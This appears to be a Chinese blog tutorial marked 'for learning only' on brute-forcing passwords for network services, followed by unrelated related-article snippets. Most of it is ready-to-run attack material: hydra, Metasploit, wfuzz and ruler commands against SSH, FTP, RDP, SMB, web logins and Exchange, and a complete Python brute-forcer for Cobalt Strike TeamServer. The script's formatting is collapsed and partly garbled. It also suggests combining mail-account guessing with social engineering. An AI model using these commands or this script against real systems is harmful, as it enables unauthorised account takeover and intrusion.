Web安全——穷举爆破下篇(仅供学习)
Web安全
- 一、常见的端口服务穷举
- 1、hydra 密码穷举工具的使用
- 2、使用 hydra 穷举 ssh 服务
- 3、使用 hydra 穷举 ftp 服务
- 4、使用 hydra 穷举 mysql 服务
- 5、使用 hydra 穷举 smb 服务
- 6、使用 hydra 穷举 http 服务
- 7、使用 hydra 穷举 pop3 服务
- 8、使用 hydra 穷举 rdp 服务
- 9、使用 hydra 穷举 http-proxy 服务
- 10、使用 hydra 穷举 imap 服务
- 11、使用 hydra 穷举 telnet 服务
- 二、xhydra 穷举工具破解各种服务
- 三、metasploit 穷举模块的使用
- 四、御剑 RDP 爆破工具的使用
- 五、wfuzz 多线程穷举密码
- 六、邮箱密码的穷举
- 1、企业独立搭建的邮服 用 MailCracker 进行破解
- 2、针对 163 qq 这些邮箱用 mail 脚本进行穷举
- 七、CobaltStrike TeamServer 口令暴力破解
- 八、对 apache-tomcat 服务进行穷举
- 九、超级弱口令穷举使用
- 十、exchange 邮服穷举
一、常见的端口服务穷举
1、hydra 密码穷举工具的使用
hydra 是一个端口穷举服务器的工具
adam6500 asterisk cisco cisco-enable cvs firebird ftp[s]
http[s]-{head|get|post} http[s]-{get|post}-form http-proxy
http-proxy-urlenum icq imap[s] irc ldap2[s]
ldap3[-{cram|digest}md5][s] memcached mongodb mssql mysql nntp
oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres radmin2
rdp redis rexec rlogin rpcap rsh rtsp s7-300 sip smb smtp[s]
smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc
xmpp
使用例子
hydra -l user -P passlist.txt ftp://192.168.0.1
hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN
hydra -C defaults.txt -6 pop3s://[2001:db8::1]:143/TLS:DIGEST-MD5 hydra -l admin -p password ftp://[192.168.0.0/24]/
hydra -L logins.txt -P pws.txt -M targets.txt ssh
常用参数说明
hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e ns]
[-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-f] [-s PORT] [-S] [-vV]
server service [OPT]
-R
继续从上一次进度接着破解
-S
大写,采用 SSL 链接
-s <PORT>
小写,可通过这个参数指定非默认端口
-l <LOGIN>
指定破解的用户,对特定用户破解
-L <FILE>
指定用户名字典
-p <PASS>
小写,指定密码破解,少用,一般是采用密码字典
-P <FILE>
大写,指定密码字典
-e <ns>
可选选项,n:空密码试探,s:使用指定用户和密码试探
-C <FILE>
使用冒号分割格式,例如“登录名:密码”来代替-L/-P 参数
-M <FILE>
指定目标列表文件一行一条
-o <FILE>
指定结果输出文件
-f
在使用-M 参数以后,找到第一对登录名或者密码的时候中止破解
-t <TASKS>
同时运行的线程数,默认为 16
-w <TIME>
设置最大超时的时间,单位秒,默认是 30s
-v / -V
显示详细过程
server
目标 ip
service
指定服务名,支持的服务和协议:
telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http[s]-{head|get}
http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3
mssql mysql oracle-listener postgres nntp socks5 rexec rlogin pcnfs
snmp rsh cvs svn icq sapr3 ssh2 smtp-auth[-ntlm] pcanywhere teamspeak
sip vmauthd firebird ncp afp 等等
OPT
可选项
2、使用 hydra 穷举 ssh 服务
-L 用户字典文件 -P 密码字典文件 -t 线程数 -vV 详细信息 -e ns 使用空口令使用指定用户和密码试探 192.168.1.104 你要穷举的 ip ssh 是服务 -o 保存文件
-f 如果找到马上中断扫描
hydra -L users.txt -P password.txt -t 1 -vV -e ns 192.168.1.104 ssh -o ssh.txt -f ssh://192.168.1.104
192.168.1.104 ssh
-l 指定用户
hydra -l root -P password.txt -t 1 -vV -e ns 192.168.1.104 ssh -o ssh.txt -f
hydra -l root -P 2019_top100.txt 192.168.52.13 ssh -vV -f

3、使用 hydra 穷举 ftp 服务
hydra ip ftp -l 用户名 -P 密码字典 -t 线程(默认 16) -vV
hydra ip ftp -l 用户名 -P 密码字典 -e ns -vV
hydra -l c5moon -P 2019_top100.txt 192.168.52.6 ftp -vV -f

4、使用 hydra 穷举 mysql 服务
hydra ip mysql -l 用户名 -P 密码字典 -t 线程(默认 16) -vV
hydra ip mysql -l 用户名 -P 密码字典 -e ns -vV
hydra ip mysql -l 用户名 -P 密码字典 -e ns -vV -s 端口
5、使用 hydra 穷举 smb 服务
hydra -l administrator -P 2019_top100.txt 192.168.52.6 smb -vV -f


6、使用 hydra 穷举 http 服务
hydra -l admin -P 2019_top100.txt -vV -f www.c1moon.com http-post-form "/admin/index.php:user=^USER^&ps=^PASS^&action=login:login-error"

7、使用 hydra 穷举 pop3 服务
hydra -L user.txt -P qweasd123 192.168.52.6 smtp-vV -f
8、使用 hydra 穷举 rdp 服务
hydra ip rdp -l administrator -P pass.txt -V
9、使用 hydra 穷举 http-proxy 服务
hydra -l admin -P pass.txt http-proxy://10.36.16.18
10、使用 hydra 穷举 imap 服务
hydra -L user.txt -p secret 10.36.16.18 imap PLAIN
hydra -C defaults.txt -6 imap://[fe80::2c:31ff:fe12:ac11]:143/PLAIN
11、使用 hydra 穷举 telnet 服务
hydra ip telnet -l 用户 -P 密码字典 -t 32 -s 23 -e ns -f -V

二、xhydra 穷举工具破解各种服务
xhydra 是 hydra 的可视化工具 使用简单方便快捷。终端输入 xhydra 即可使用。
使用 hydra 破解 rdp 服务







三、metasploit 穷举模块的使用
metasploit 是一个渗透测试集成套件 同样也有穷举模块
auxiliary/scanner/ftp/ftp_login
auxiliary/scanner/ssh/ssh_login
auxiliary/scanner/telnet/telnet_login
auxiliary/scanner/smb/smb_login
auxiliary/scanner/mssql/mssql_login
auxiliary/scanner/mysql/mysql_login
auxiliary/scanner/oracle/oracle_login
auxiliary/scanner/postgres/postgres_login
auxiliary/scanner/vnc/vnc_login
auxiliary/scanner/pcanywhere/pcanywhere_login
auxiliary/scanner/snmp/snmp_login



模块的用法
首先启动在终端下启动 msfconsole use 使用 ssh_login 模块


use auxiliary/scanner/ssh/ssh_login
show options 查看模块的参数

RHOSTS 攻击的目标
PASS_FILE 密码字典STOP_ON_SUCCESS 成功破解一个终止THREADS 线程数
set 设置参数
msf5 auxiliary(scanner/ssh/ssh_login) > set PASS_FILE /home/kali/2019_top100.txt PASS_FILE => /home/kali/2019_top100.txt
msf5 auxiliary(scanner/ssh/ssh_login) > set RHOSTS 192.168.52.13 RHOSTS => 192.168.52.13
msf5 auxiliary(scanner/ssh/ssh_login) > set STOP_ON_SUCCESS true STOP_ON_SUCCESS => true
msf5 auxiliary(scanner/ssh/ssh_login) > set USERNAME root USERNAME => root
msf5 auxiliary(scanner/ssh/ssh_login) > show options
设置好后用 run 或者 exploit 进行攻击


四、御剑 RDP 爆破工具的使用

五、wfuzz 多线程穷举密码
Usage: wfuzz [options] -z payload,params <url>
Examples:
wfuzz -c -z file,users.txt -z file,pass.txt --sc 200 http://www.site.com/log.asp?user=FUZZ&pass=FUZ2Z
wfuzz -c -z range,1-10 --hc=BBB http://www.site.com/FUZZ{something not there}
wfuzz --script=robots -z list,robots.txt http://www.webscantest.com/FUZZ
wfuzz -c -z file,2019_top100.txt --sc 302 -u http://www.c1moon.com/admin/index.php?action=login -d "user=admin&pw=FUZZ"
wfuzz -c -z file,2019_top100.txt --hc 404 --hh 1549 -u http://www.c1moon.com/admin/index.php?action=login -d "user=admin&pw=FUZZ"
wfuzz -c -w /home/kali/csdnpass.txt --hc 404 --hh 1549 -u http://www.c1moon.com/admin/index.php?action=login -d "user=admin&pw=FUZZ"


六、邮箱密码的穷举
默认的收发邮件端口信息发邮件 pop3 110 加密 995
收邮件 smtp 25 加密 465
1、企业独立搭建的邮服 用 MailCracker 进行破解

2、针对 163 qq 这些邮箱用 mail 脚本进行穷举
像 163 qq 这些邮箱 并发会拦截,而且不能穷举太多。一般配合社工办法来穷举。

七、CobaltStrike TeamServer 口令暴力破解

Cobalt Strike 是一款超级好用的渗透测试工具,拥有多种协议主机上线方式,集成了提权,凭据导出,端口转发,socket 代理,office 攻击,文件捆绑,钓鱼等多种功能。同时,Cobalt Strike 还可以调用Mimikatz 等其他知名工具,因此广受技术大佬的喜爱。Cobalt Strike 是一款超级好用的渗透测试工具,拥有多种协议主机上线方式,集成了提权,凭据导出,端口转发,socket 代理,office 攻击, 文件捆绑,钓鱼等多种功能。同时,Cobalt Strike 还可以调用Mimikatz 等其他知名工具,因此广受技术大佬的喜爱。
Cobalt Strike 是由美国 Red Team 开发,官网地址: http://cobaltstrike.com
这个工具的社区版是大家熟知的 Armitage(一个 MSF 的图形化界面工具),而Cobalt Strike 大家可以理解其为 Armitage 的商业版。
TeamServer 口令暴力破解
然而今天我们并不是介绍和讲解 Cobalt Strike,而是关于 Cobalt Strike 的口令暴力破解,众所周知 Cobalt Strike 的工作方式是以TeamServer 为核心,可多个 Cilent 的 CS(Server Cilent)架构。
启动 teamserver
sudo ./teamserver 192.168.0.102 123456
启动 temaerver 之后可以通过客户端连接连接服务器 默认的端口是 50050 密码是 123456 即可登录。
如果把 teamserver 放在公网上,口令设置薄弱 可以通过对其穷举有一定的几率获取 teamserver 的权限,那么服务器里的被成功控制的机器,我们也可以对其控制。所以说危害是非常大的。
使用 csbuster.py 对 50050 端口进行密码穷举
#!/usr/bin/env python3
# -*- coding:gbk -*- import time
import socket
import ssl
import argparse
import concurrent.futures
import sys
# csbrute.py - Cobalt Strike Team Server Password Brute Forcer
#
https://stackoverflow.com/questions/6224736/how-to-write-python-code-that-is-able-t o-properly-require-a-minimal-python-versiMIN_PYTHON = (3, 3)
if sys.version_info < MIN_PYTHON:sys.exit("Python %s.%s or later is required.\n" % MIN_PYTHON) parser = argparse.ArgumentParser()parser.add_argument("host",help="Teamserver address") parser.add_argument("wordlist", nargs="?",help="Newline-delimited word list file") parser.add_argument("-p", dest="port", default=50050, type=int,help="Teamserver port") parser.add_argument("-t",dest="threads", default=25, type=int,help="Concurrency level") args = parser.parse_args()#
https://stackoverflow.com/questions/27679890/how-to-handle-ssl-connections-in-raw- python-socketclass NotConnectedException(Exception):def init (self, message=None, node=None): self.message = messageself.node = nodeclass DisconnectedException(Exception):def init (self, message=None, node=None): self.message = messageself.node = nodeclass Connector:def init (self): self.sock = None self.ssl_sock = Noneself.ctx = ssl.SSLContext() self.ctx.verify_mode = ssl.CERT_NONE passdef is_connected(self):return self.sock and self.ssl_sockdef open(self, hostname, port):self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)self.sock.settimeout(10)self.ssl_sock = self.ctx.wrap_socket(self.sock)if hostname == socket.gethostname():ipaddress = socket.gethostbyname_ex(hostname)[2][0] self.ssl_sock.connect((ipaddress, port))else:self.ssl_sock.connect((hostname, port))def close(self):if self.sock:self.sock.close() self.sock = None self.ssl_sock = Nonedef send(self, buffer):if not self.ssl_sock: raise NotConnectedException("Not connected (SSL Socket is null)")self.ssl_sock.sendall(buffer)def receive(self):if not self.ssl_sock: raise NotConnectedException("Not connected (SSL Socket is null)")received_size = 0 data_buffer = b""while received_size < 4:data_in = self.ssl_sock.recv() data_buffer = data_buffer + data_in received_size += len(data_in)return data_bufferdef passwordcheck(password): if len(password) > 0:result = Noneconn = Connector() conn.open(args.host, args.port)payload = bytearray(b"\x00\x00\xbe\xef") + len(password).to_bytes(1, "big", signed=True) + bytes(bytes(password, "ascii").ljust(256, b"A")) conn.send(payload)if conn.is_connected(): result = conn.receive() if conn.is_connected(): conn.close()if result == bytearray(b"\x00\x00\xca\xfe"): return passwordelse:return Falseelseprint("Ignored blank password") passwords = []if args.wordlist:print("Wordlist: {}".format(args.wordlist)) passwords = open(args.wordlist).read().split("\n") else:print("Wordlist: {}".format("stdin")) for line in sys.stdin:passwords.append(line.rstrip())if len(passwords) > 0:print("Word Count: {}".format(len(passwords))) print("Threads: {}".format(args.threads))start = time.time()# https://stackoverflow.com/questions/2846653/how-to-use-threading-in-pythonattempts = 0failures = 0with concurrent.futures.ThreadPoolExecutor(max_workers=args.threads) as executor:future_to_check = {executor.submit(passwordcheck, password): password for password in passwords}for future in concurrent.futures.as_completed(future_to_check): password = future_to_check[future]try:data = future.result() attempts = attempts + 1 if data:print("Found Password: {}".format(password)) except Exception as exc:failures = failures + 1print('%r generated an exception: %s' % (password, exc))print("Attempts: {}".format(attempts)) print("Failures: {}".format(failures)) finish = time.time()print("Seconds: {:.1f}".format(finish - start))print("Attemps per second: {:.1f}".format((failures + attempts) / (finish - start)))print("Password(s) required")
python3 csbuster.py 192.168.0.102 /home/kali/top1000.txt -t 20

https://www.moonsec.com/archives/3089
八、对 apache-tomcat 服务进行穷举
Apache Tomcat 是世界上使用最广泛的 Java Web 应用服务器之一,绝大数人都会使用 Tomcat 的默认配置。然而默认配置中会有一个向外网开放的 Web 应用管理器,管理员可以利用它在服务器中启动、停止、添加和删除应用。


use scanner/http/tomcat_mgr_login set PASSWORD 设置密码字典
set RPORT 8081 设置端口
set RHOSTS 192.168.52.6
exploit 攻击


九、超级弱口令穷举使用

十、exchange 邮服穷举
ruler -domain evilcorp.ninja -brute -usernames~/users.txt -passwords ~/passwords.txt -delay 0 -v -insecure
相关文章:
Web安全——穷举爆破下篇(仅供学习)
Web安全 一、常见的端口服务穷举1、hydra 密码穷举工具的使用2、使用 hydra 穷举 ssh 服务3、使用 hydra 穷举 ftp 服务4、使用 hydra 穷举 mysql 服务5、使用 hydra 穷举 smb 服务6、使用 hydra 穷举 http 服务7、使用 hydra 穷举 pop3 服务8、使用 hydra 穷举 rdp 服务9、使用…...
强大的JTAG边界扫描(5):FPGA边界扫描应用
文章目录 1. 获取芯片的BSDL文件2. 硬件连接3. 边界扫描测试4. 总结 上一篇文章,介绍了基于STM32F103的JTAG边界扫描应用,演示了TopJTAG Probe软件的应用,以及边界扫描的基本功能。本文介绍基于Xilinx FPGA的边界扫描应用,两者几乎…...
苍穹外卖集成 Apache POI Java实现Excel文件的读写下载
苍穹外卖 day12 Echats 营业台数据可视化整合_软工菜鸡的博客-CSDN博客 Apache POI - the Java API for Microsoft Documents Project News 16 September 2022 - POI 5.2.3 available The Apache POI team is pleased to announce the release of 5.2.3. Several dependencies …...
iOS逆向:工具安装
二〇二三年〇八月二十三日(2023版,iOS逆向笔记) 对其他APP的实现感兴趣,对技术报以热枕,不去做违反职业道德和违法乱纪的事情,欢迎来到iOS逆向。 工欲善其事必先利其器 ------我说的。 网络不好可配置DNS 1…...
十种数据库缓存相关的技术和机制
数据库的缓存 -- 通过将数据库中的数据或结果集保存在内存或其他快速访问的介质中,能够加快查询响应,减少对磁盘或远程服务器的访问,降低资源消耗。 根据缓存的位置、内容、粒度、更新方式等不同,数据库缓存技术有多种类型和策略。…...
【C++】封装unordered_map和unordered_set(用哈希桶实现)
前言: 前面我们学习了unordered_map和unordered_set容器,比较了他们和map、set的查找效率,我们发现他们的效率比map、set高,进而我们研究他们的底层是由哈希实现。哈希是一种直接映射的方式,所以查找的效率很快…...
面试问题回忆
(1)查看端口 lsof -i:8080 / netstat lsof -i:8080:查看8080端口占用 lsof abc.txt:显示开启文件abc.txt的进程 lsof -c abc:显示abc进程现在打开的文件 lsof -c -p 1234:列出进程号为1234的进程所打开…...
更多场景、更多选择,Milvus 新消息队列 NATS 了解一下
在 Milvus 的云原生架构中,消息队列(Log Broker)可谓任重道远,它不仅要具备流式数据持久性、支持 TT 同步、事件通知等能力,还要确保工作节点从系统崩溃中恢复时增量数据的完整性。 在 Milvus 的架构中,一切…...
如何通过python实现一个web自动化测试框架?
要实现一个web自动化测试框架,可以使用Python中的Selenium库,它是最流行的Web应用程序测试框架之一。以下是一个基本的PythonSelenium测试框架的示例: 1、安装Selenium 在终端中输入以下命令,使用 pip 安装 Selenium:…...
Linux —— 信号阻塞
目录 一,信号内核表示 sigset_t sigprocmask sigpending 二,捕捉信号 sigaction 三,可重入函数 四,volatile 五,SIGCHLD 信号常见概念 实际执行信号的处理动作,称为信号递达Delivery;信…...
【【萌新编写riscV之计算机体系结构之CPU 总二】】
萌新编写riscV之计算机体系结构之CPU 总二(我水平太差总结不到位) 在学习完软件是如何使用之后 我们接下来要面对的问题是 整个程序是如何运转的这一基本逻辑 中央处理器(central processing unit,CPU)的任务就是负责提取程序指令࿰…...
error:03000086:digital envelope routines::initialization error
项目背景 前端vue项目启动突然报错error:03000086:digital envelope routines::initialization error 我用的开发工具是vscode,node版本是v18.17.0 前端项目版本如下↓ 具体报错如下↓ 报错原因 node版本过高 解决方法 1输入命令 $env:NODE_OPTIONS"--op…...
暴涨130万粉仅用3个月,一招转型成B站热门UP主
- 导语 起号难、找不到内容方向、没流量、没粉丝等等运营困境环绕在创作者之间,近期,有黑马UP主短时间内就在B站涨粉百万,飞升成为热门UP主,以下,飞瓜数据(B站版)剖析黑马UP主运营技巧…...
【Linus】vim的使用:命令模式、底行模式、插入模式、视图模式、替换模式的常用操作介绍
目录 注意:以下操作前提是要确保你输入法是英文模式 一、进入和退出各个模式的方法 1.命令模式 2.底行模式 3.插入模式 4.视图模式 5.替换模式 二、在命令模式中一些常用的操作 1.移动光标 2.删除文字 3.复制 4.替换 5.撤销上一次操作 6.更改 7.跳至指…...
leetcode第362场周赛补题
8029. 与车相交的点 - 力扣(LeetCode) 思路:差分数组 class Solution { public:int numberOfPoints(vector<vector<int>>& nums) {int diff[102] {}; for(auto p : nums)//差分{diff[p[0]] ;diff[p[1] 1] -- ;}int res …...
SpringMvc 之crud增删改查应用
目录 1.创建项目 2.配置文件 2.1pom.xml文件 2.2 web.xml文件 2.3 spring-context.xml 2.4 spring-mvc.xml 2.5 spring-MyBatis.xml 2.6 jdbc.properties 数据库 2.7 generatorConfig.xml 2.8 日志文件log4j2 3.后台代码 3.1 pageBean.java 3.2切面类 3.3 biz层…...
【业务功能109】微服务-springcloud-springboot-Skywalking-链路追踪-监控
Skywalking skywalking是一个apm系统,包含监控,追踪,并拥有故障诊断能力的 分布式系统 一、Skywalking介绍 1.什么是SkyWalking Skywalking是由国内开源爱好者吴晟开源并提交到Apache孵化器的产品,它同时吸收了Zipkin /Pinpoint …...
《向量数据库指南》——AI原生向量数据库Milvus Cloud 2.3架构升级
架构升级 GPU 支持 早在 Milvus 1.x 版本,我们就曾经支持过 GPU,但在 2.x 版本中由于切换成了分布式架构,同时出于对于成本方面的考虑,暂时未加入 GPU 支持。在 Milvus 2.0 发布后的一年多时间里,Milvus 社区对 GPU 的呼声越来越高,再加上 NVIDIA 工程师的大力配合——为…...
Flutter中实现交互式Webview的方法
前言: Flutter是一款强大的跨平台移动应用开发框架,而Webview则是在应用中展示Web内容的重要组件。本文将介绍如何在Flutter应用中实现交互式的Webview,以便为用户提供更加丰富的内容和功能。 1. 引入webview_flutter插件 要在Flutter应用中…...
【Java Web】用Redis优化登陆模块
使用Redis存储验证码 验证码需要频繁访问和封信,对性能要求高;验证码不需要永久保存,通常在很短时间内失效;分布式部署,存在Session共享问题; 使用Redis存储登陆凭证 处理每次请求时,都要查询用…...
龙虎榜——20250610
上证指数放量收阴线,个股多数下跌,盘中受消息影响大幅波动。 深证指数放量收阴线形成顶分型,指数短线有调整的需求,大概需要一两天。 2025年6月10日龙虎榜行业方向分析 1. 金融科技 代表标的:御银股份、雄帝科技 驱动…...
java调用dll出现unsatisfiedLinkError以及JNA和JNI的区别
UnsatisfiedLinkError 在对接硬件设备中,我们会遇到使用 java 调用 dll文件 的情况,此时大概率出现UnsatisfiedLinkError链接错误,原因可能有如下几种 类名错误包名错误方法名参数错误使用 JNI 协议调用,结果 dll 未实现 JNI 协…...
《通信之道——从微积分到 5G》读书总结
第1章 绪 论 1.1 这是一本什么样的书 通信技术,说到底就是数学。 那些最基础、最本质的部分。 1.2 什么是通信 通信 发送方 接收方 承载信息的信号 解调出其中承载的信息 信息在发送方那里被加工成信号(调制) 把信息从信号中抽取出来&am…...
高等数学(下)题型笔记(八)空间解析几何与向量代数
目录 0 前言 1 向量的点乘 1.1 基本公式 1.2 例题 2 向量的叉乘 2.1 基础知识 2.2 例题 3 空间平面方程 3.1 基础知识 3.2 例题 4 空间直线方程 4.1 基础知识 4.2 例题 5 旋转曲面及其方程 5.1 基础知识 5.2 例题 6 空间曲面的法线与切平面 6.1 基础知识 6.2…...
2025 后端自学UNIAPP【项目实战:旅游项目】6、我的收藏页面
代码框架视图 1、先添加一个获取收藏景点的列表请求 【在文件my_api.js文件中添加】 // 引入公共的请求封装 import http from ./my_http.js// 登录接口(适配服务端返回 Token) export const login async (code, avatar) > {const res await http…...
Android Bitmap治理全解析:从加载优化到泄漏防控的全生命周期管理
引言 Bitmap(位图)是Android应用内存占用的“头号杀手”。一张1080P(1920x1080)的图片以ARGB_8888格式加载时,内存占用高达8MB(192010804字节)。据统计,超过60%的应用OOM崩溃与Bitm…...
【开发技术】.Net使用FFmpeg视频特定帧上绘制内容
目录 一、目的 二、解决方案 2.1 什么是FFmpeg 2.2 FFmpeg主要功能 2.3 使用Xabe.FFmpeg调用FFmpeg功能 2.4 使用 FFmpeg 的 drawbox 滤镜来绘制 ROI 三、总结 一、目的 当前市场上有很多目标检测智能识别的相关算法,当前调用一个医疗行业的AI识别算法后返回…...
Typeerror: cannot read properties of undefined (reading ‘XXX‘)
最近需要在离线机器上运行软件,所以得把软件用docker打包起来,大部分功能都没问题,出了一个奇怪的事情。同样的代码,在本机上用vscode可以运行起来,但是打包之后在docker里出现了问题。使用的是dialog组件,…...
sipsak:SIP瑞士军刀!全参数详细教程!Kali Linux教程!
简介 sipsak 是一个面向会话初始协议 (SIP) 应用程序开发人员和管理员的小型命令行工具。它可以用于对 SIP 应用程序和设备进行一些简单的测试。 sipsak 是一款 SIP 压力和诊断实用程序。它通过 sip-uri 向服务器发送 SIP 请求,并检查收到的响应。它以以下模式之一…...
人机融合智能 | “人智交互”跨学科新领域
本文系统地提出基于“以人为中心AI(HCAI)”理念的人-人工智能交互(人智交互)这一跨学科新领域及框架,定义人智交互领域的理念、基本理论和关键问题、方法、开发流程和参与团队等,阐述提出人智交互新领域的意义。然后,提出人智交互研究的三种新范式取向以及它们的意义。最后,总结…...
